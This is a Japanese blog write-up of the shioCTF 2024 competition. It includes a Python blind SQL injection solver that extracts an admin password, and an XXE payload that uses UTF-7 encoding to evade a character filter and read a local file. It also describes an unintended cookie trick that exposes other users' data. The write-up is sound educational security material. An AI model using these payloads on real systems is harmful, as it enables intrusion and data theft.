shioCTF 2024へ参加しました。そのwrite-up記事です。
コンテスト概要
2024/02/12(月・祝) 12:00 +09:00 - 2024/02/14(水) 12:00 +09:00 の48時間開催でした。
結果
7問全問解けました!
環境
主にWindowsのWSL2(Ubuntu 22.04)を使って取り組みました。
Windows
c:\>ver Microsoft Windows [Version 10.0.19045.3996] c:\>wsl -l -v NAME STATE VERSION * Ubuntu-22.04 Running 2 kali-linux Stopped 2 docker-desktop-data Running 2 docker-desktop Running 2 c:\>
WSL2(Ubuntu 22.04)
$ cat /proc/version Linux version 5.15.133.1-microsoft-standard-WSL2 (root@1c602f52c2e4) (gcc (GCC) 11.2.0, GNU ld (GNU Binutils) 2.37) #1 SMP Thu Oct 5 21:02:42 UTC 2023 $ cat /etc/os-release PRETTY_NAME="Ubuntu 22.04.3 LTS" NAME="Ubuntu" VERSION_ID="22.04" VERSION="22.04.3 LTS (Jammy Jellyfish)" VERSION_CODENAME=jammy ID=ubuntu ID_LIKE=debian HOME_URL="https://www.ubuntu.com/" SUPPORT_URL="https://help.ubuntu.com/" BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/" PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy" UBUNTU_CODENAME=jammy $ python3 --version Python 3.10.12 $ python3 -m pip show requests | grep Version Version: 2.25.1 $ docker --version Docker version 20.10.24, build 297e128 $ docker-compose --version Docker Compose version v2.17.2 $
解けた問題
いくつかの問題ではヒントが提供されていました。ヒントはペナルティ無しで閲覧できるもので、スコア減少等は全くありませんでした。率先してヒントを見ました。
なお、各問題を何名解いているのかを普段は併記しているのですが、終了後の現状では問題一覧ページの内容が変改していて確認できないようです。そのため今回は核問題の点数のみ記載しています(点数は各ユーザーのページから閲覧できます)。
[Welcome] to ShioCTF (100 points)
shioCTF{flag}
問題文がフラグそのものです。shioCTF{flag}
を提出して正解できました。
[Web, Warmup] simpleDB (172 points)
adminのパスワードを特定してください! http://<念のため削除>:49999/
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app.py: Python script, ASCII text executable, with CRLF line terminators ./docker-compose.yml: ASCII text ./Dockerfile: ASCII text, with CRLF line terminators ./templates/index.html: HTML document, ASCII text, with CRLF line terminators $
サーバー側プログラムのapp.py
は以下の内容です:
from flask import Flask, request, jsonify, render_template import sqlite3 app = Flask(__name__) def init_db(): conn = sqlite3.connect('database.db') c = conn.cursor() c.execute('CREATE TABLE IF NOT EXISTS users(id INTEGER PRIMARY KEY, username TEXT, password TEXT)') c.execute("INSERT INTO users (username, password) VALUES ('admin', 'shioCTF{**SECRET**}')") conn.commit() conn.close() init_db() @app.route('/', methods=['GET', 'POST']) def login(): if request.method == 'POST': username = request.form['username'] password = request.form['password'] conn = sqlite3.connect('database.db') c = conn.cursor() query = f"SELECT * FROM users WHERE username = '{username}' AND password = '{password}'" c.execute(query) result = c.fetchone() conn.close() if result: return jsonify({'message': 'Login successful!'}), 200 else: return jsonify({'message': 'Login failed!'}), 401 else: return render_template('index.html') if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=49999)
SQL文を構築する際にユーザー入力内容をそのまま使用しているため、SQL Injectionできます。また、レスポンスとしてログイン可否が返るのでパスワードを推測できます。それらを利用してソルバーを書きました:
#!/usr/bin/env python3 import requests # URL = "http://localhost:5000/" # docker環境の検証用 URL = "http://<念のため削除>:49999/" # 問題サーバー用 def check(session, index, bit): data = { # "username": f"admin' AND ((UNICODE(SUBSTRING(password, {index+1}, 1)) & {1<<bit}) <> 0) -- xxx", # ローカルではうまくいくけど、どうにもリモートじゃ全部失敗扱い "username": f"admin' AND ((UNICODE(SUBSTR(password, {index+1}, 1)) & {1<<bit}) <> 0) -- xxx", "password": "dummy" } response = session.post(URL, data=data) return response.status_code == 200 candidates = range(0x20, 0x7f) with requests.Session() as session: flag = "" while True: current = 0 for bit in range(8): if check(session, len(flag), bit): current |= (1 << bit) print(current) if current == 0: break flag += chr(current) print(flag)
実行しました:
$ python3 solve.py 115 s 104 sh 105 shi 111 shio 67 shioC 84 shioCT 70 shioCTF 123 shioCTF{ 98 shioCTF{b 49 shioCTF{b1 105 shioCTF{b1i 110 shioCTF{b1in 100 shioCTF{b1ind 95 shioCTF{b1ind_ 115 shioCTF{b1ind_s 113 shioCTF{b1ind_sq 108 shioCTF{b1ind_sql 105 shioCTF{b1ind_sqli 95 shioCTF{b1ind_sqli_ 105 shioCTF{b1ind_sqli_i 53 shioCTF{b1ind_sqli_i5 95 shioCTF{b1ind_sqli_i5_ 100 shioCTF{b1ind_sqli_i5_d 52 shioCTF{b1ind_sqli_i5_d4 110 shioCTF{b1ind_sqli_i5_d4n 103 shioCTF{b1ind_sqli_i5_d4ng 101 shioCTF{b1ind_sqli_i5_d4nge 114 shioCTF{b1ind_sqli_i5_d4nger 48 shioCTF{b1ind_sqli_i5_d4nger0 117 shioCTF{b1ind_sqli_i5_d4nger0u 53 shioCTF{b1ind_sqli_i5_d4nger0u5 33 shioCTF{b1ind_sqli_i5_d4nger0u5! 125 shioCTF{b1ind_sqli_i5_d4nger0u5!} 0 $
フラグを入手できました: shioCTF{b1ind_sqli_i5_d4nger0u5!}
なお、実装当初にソルバーを動かすとshioCTF{j;kn}_sqli_i5_d4nger0u5!}
というフラグ内容最初5文字が化けた内容を取得してしまっていて困っていました。スリープ等の待ち時間を全く入れていないソルバーだったので、そのあたりで負荷をかけすぎてしまったのかもしれません……。時間をおいて再実行すると、前述の通りの正しいフラグを得られました。
[Web, Medium] card (258 points)
誕生日カードを送り合えるWebアプリができました! http://<念のため削除>:60001/
配布ファイルとして、サーバー側プログラムの各種ファイルがありました:
$ find . -type f -print0 | xargs -0 file ./app.py: Python script, ASCII text executable, with CRLF line terminators ./database.db: SQLite 3.x database, last written using SQLite version 3038002, file counter 10, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 10 ./docker-compose.yml: ASCII text, with CRLF line terminators ./Dockerfile: ASCII text, with CRLF line terminators ./flag.txt: ASCII text, with no line terminators ./templates/home.html: HTML document, Unicode text, UTF-8 text, with CRLF line terminators ./templates/send.html: HTML document, Unicode text, UTF-8 text, with CRLF line terminators ./templates/view.html: HTML document, Unicode text, UTF-8 text, with CRLF line terminators $
サーバー側プログラムのapp.py
は以下の内容です:
from flask import Flask, request, make_response, render_template, redirect, url_for from lxml import etree import os import secrets import uuid app = Flask(__name__) cards_directory = "cards" os.makedirs(cards_directory, exist_ok=True) @app.route('/') def index(): user_id = request.cookies.get('user_id') if not user_id: response = make_response(render_template('home.html')) user_id = secrets.token_hex(16) response.set_cookie('user_id', user_id) return response else: return render_template('home.html') @app.route('/send', methods=['GET', 'POST']) def send(): if request.method == 'POST': recipient_id = request.form['recipient_id'] card_data = request.form['card_data'] card_data = card_data.replace('&','') card_data = card_data.replace('%','') file_name = f"{recipient_id}_{uuid.uuid4()}.xml" file_path = os.path.join(cards_directory, file_name) with open(file_path, 'w') as file: file.write(card_data) return redirect(url_for('index')) else: return render_template('send.html') @app.route('/view') def view(): user_id = request.cookies.get('user_id') card_files = [f for f in os.listdir(cards_directory) if f.startswith(user_id)] cards = [] parser = etree.XMLParser(load_dtd=True, no_network=False, resolve_entities=True) for card_file in card_files: file_path = os.path.join(cards_directory, card_file) try: with open(file_path, 'rb') as file: xml_data = etree.parse(file, parser) message = xml_data.xpath('/card/message/text()') if message: cards.append(message[0]) else: cards.append("Invalid card format.") except etree.XMLSyntaxError as e: cards.append(f"Error parsing XML: {e}") return render_template('view.html', cards=cards) if __name__ == '__main__': app.run(debug=True, host='0.0.0.0', port=60001)
なお、app.py
ではflag.txt
を一切触っていませんが、以下のDockerfile
の記述から/app/flag.txt
に配置されることが分かります:
FROM python:3.11 RUN pip3 install flask RUN pip3 install lxml WORKDIR /app ADD . . CMD ["python3", "app.py"]
さて、app.py
ではXML関係を扱っており、DTDの読み込みやエンティティの解決を行う引数を指定しているため、XXEの脆弱性がありそうに思いました。XXEではLFIができるため、flag.txt
内容を読み込めそうです。一方で、XMLファイルとして書き込むcard_data
の内容から%
文字と&
文字を削除しています。その2つの文字を使わずにXXEをどのように達成できるか、と問われている問題と理解しました。
困った挙げ句の嘘解法
XXE - XEE - XML External Entity - HackTricksなどでXXEの手法をひたすら調べましたが、おおよその手法で%
文字か&
文字を使うように見えました。唯一それらの文字を使わないXInclude
を使う手法も試しましたが、どうにも全くファイル読み込みできませんでした。
2024/02/15(木) 21:45頃追記: HackTricksページ中にUTF-7の話もありました!完全に見逃していました!
ものすごく悩みながらapp.py
を読み直すと、クッキーのuser_id
値を検証なしに使っていることに気付きました。user_id
を空文字列に設定すれば、/view
エンドポイントで読み込むXMLファイルを判定しているf.startswith(user_id)
をすべてTrue
にでき、他の参加者様の投稿内容を横取りできそうです。試しました:
フラグが手に入ってしまいました: shioCTF{UTF7_1s_u5efu1_enc0d1ng}
この手法は、他の方が真っ当な方法でXXEを起こすXMLを作成している場合のみ有効です。すなわちどうあがいても初正解者になれない、非想定解法のはずです。
真っ当な解法でup-solve
フラグ内容から、utf-7エンコーディングを使うらしいことが分かりました。UTF-7やUTF-7 - Wikipediaを調べると、+
と-
で囲んだ領域はBase64エンコード結果を記述するため、/send
エンドポイントでの&
文字削除から逃れられそうです。また、エンコーディングはXML宣言で記述できます。試行錯誤しながらソルバーを書きました:
#!/usr/bin/env python3 import requests import base64 # BASE_URL = "http://127.0.0.1:5000" # docker環境用 BASE_URL = "http://<念のため削除>:60001" # 問題サーバー本番用 with requests.Session() as session: def send(client_id, card_data): data = { "recipient_id": client_id, "card_data": card_data, } response = session.post(BASE_URL + "/send", data=data) return response.text def view(): response = session.get(BASE_URL + "/view") return response.text # get my user_id session.get(BASE_URL) client_id = session.cookies.get("user_id") # send data to cause XXE utf7_encoded = base64.b64encode("&".encode("utf-16-be")).decode().rstrip("=") card_data = f"""<?xml version="1.0" encoding="UTF-7"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///app/flag.txt"> ]> <card><message>+{utf7_encoded}-xxe;</message></card> """ assert "&" not in card_data assert "%" not in card_data send(client_id, card_data) # get flag print(view())
実行しました:
$ ./solve.py <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>誕生日カードを見る</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css"> </head> <body> <div class="container mt-5"> <h2>誕生日カードを見る</h2> <div class="list-group"> <div class="list-group-item list-group-item-action"> shioCTF{UTF7_1s_u5efu1_enc0d1ng} </div> </div> </div> <script src="https://code.jquery.com/jquery-3.5.1.slim.min.js"></script> <script src="https://cdn.jsdelivr.net/npm/bootstrap@4.5.2/dist/js/bootstrap.bundle.min.js"></script> </body> </html> $
無事、想定解法らしい方法でもフラグを入手できました: shioCTF{UTF7_1s_u5efu1_enc0d1ng}
[OSINT, Warmup, guess?] club (100 points)
shioは大学のサークルでCTFdを使って、Webアプリをホストしたことがある。 そのサークル名を答えよ。 例えば、東京大学のTSGである場合は shioCTF{TSG} となる。 https://twitter.com/shiosa1t/status/1656154711505108992 Hint ただの数字の羅列は良くないです。まさにこの瞬間、その恩恵を受けています。
配布ファイルはありません。一方で問題文記載のツイートから、2023/05/10にCTFdを使ったウェブサイトをホストしていることが分かります。
最初はTwitter(現X)の検索クエリを使ってfrom:shiosa1t since:2023-03-01 until:2023-08-30のように探そうとしましたが、検索結果はありません
とのことでした。確かそのようなクエリで日付指定できた気がするのですが、うまくいきませんでした。
他の方法を考えました。しお@shiosa1t
氏のTwitterプロフィールから早稲田大学に所属していることが分かります。早稲田大学 CTF サークル
でGoogle検索すると、【公式】コンピュータ研究会・WINC|早稲田大学公認のインカレプログラミングサークルがヒットしました。セキュリティチーム箇所の紹介でCTF活動も行っていそうです。試しにフラグ形式で提出してみると正解でした: shioCTF{WINC}
(ヒント内容ってどういった意味だったんでしょう……?)
[OSINT, Easy] aburasoba (100 points)
ある大学生に人気の油そば。 このお店で流れているBGMはずっと変わっていない。 その音楽の楽曲名を答えよ。 例えば、葬送のフリーレンは shioCTF{勇者} 等となる。
配布ファイルとして以下の画像がありました:
早稲田大学 油そば
でGoogle検索すると早稲田といったら油そば!これを食べなきゃ眠れない夢の6選 | aumo[アウモ]がヒットしました。その記事で紹介されているお店、武蔵野アブラ學会 早稲田本店
の油そばの写真が、配布ファイルの画像とよく似ています。そのお店で間違い無さそうです。
武蔵野アブラ學会 BGM
でGoogle検索すると、武蔵野アブラ學会とは (ムサシノアブラガッカイとは) [単語記事] - ニコニコ大百科がヒットしました。店内BGMにはいつもルパン三世のテーマが流れており、學会の虜になった者はルパン三世のテーマを聴いただけでまるでパブロフの犬のごとくおなかを空かせてしまうだとか…
とのものすごい記述があります。試しにフラグ形式で提出してみると正解でした: shioCTF{ルパン三世のテーマ}
[Misc, Easy, OSINT?] fictional mountain (100 points)
彼女が立っている山の標高をメートルで答えてください。 例えば、富士山の場合は shioCTF{3776} になります。 Hint どの世界にも科学はあるはず
配布ファイルとして以下の画像がありました:
Google画像検索してみると、中心下側にいるキャラクターは、原神というゲームの雷電将軍というようです。ゲームは分かったので、後は左上のミニマップを頼りに場所を探せば良さそうです。
原神 地図
でGoogle検索すると、【原神】マップナビ | 全体地図まとめ - ゲームウィズを見つけました。「大きな生き物の骨っぽいのが山の周りに転がっている場所」を各種マップから探すと、紅葉ノ庭
マップの中央下側が同じ場所であるように見えます。山の名前そのものは記載されていませんが、付近が蛇神の首
という地名であると分かりました。
原神 蛇神の首 標高
でGoogle検索すると、原神科学:標高ランキング 原神 | HoYoLABを見つけました。問題文のヒントにある科学要素です!記事内を蛇神の首
で検索すると、問題の山は八酝山
と呼ぶようです。周辺にある画像から、八酝山頂
の標高は158mらしいことが分かりました。試しにフラグ形式で提出してみると正解でした: shioCTF{158}
[Survey] google form (0 points)
アンケートにご協力ください よろしくお願いいたします https://forms.gle/<念のため削除>
真っ当にアンケートに回答しました。フラグを入手できました: shioCTF{Thank_you_very_much!}
感想
- Web問題2問とも
app.py
が短く、理解するのが簡単で助かりました。 - XXEを初めて使いました。またUTF-7も初めて使いました。面白かったです!
- 武蔵野アブラ學会の記事をいくつか読みました。特徴的なお店のようです!
- ゲーム内の地理座標(?)を全力で調査する人々がおられるんですね、驚きです!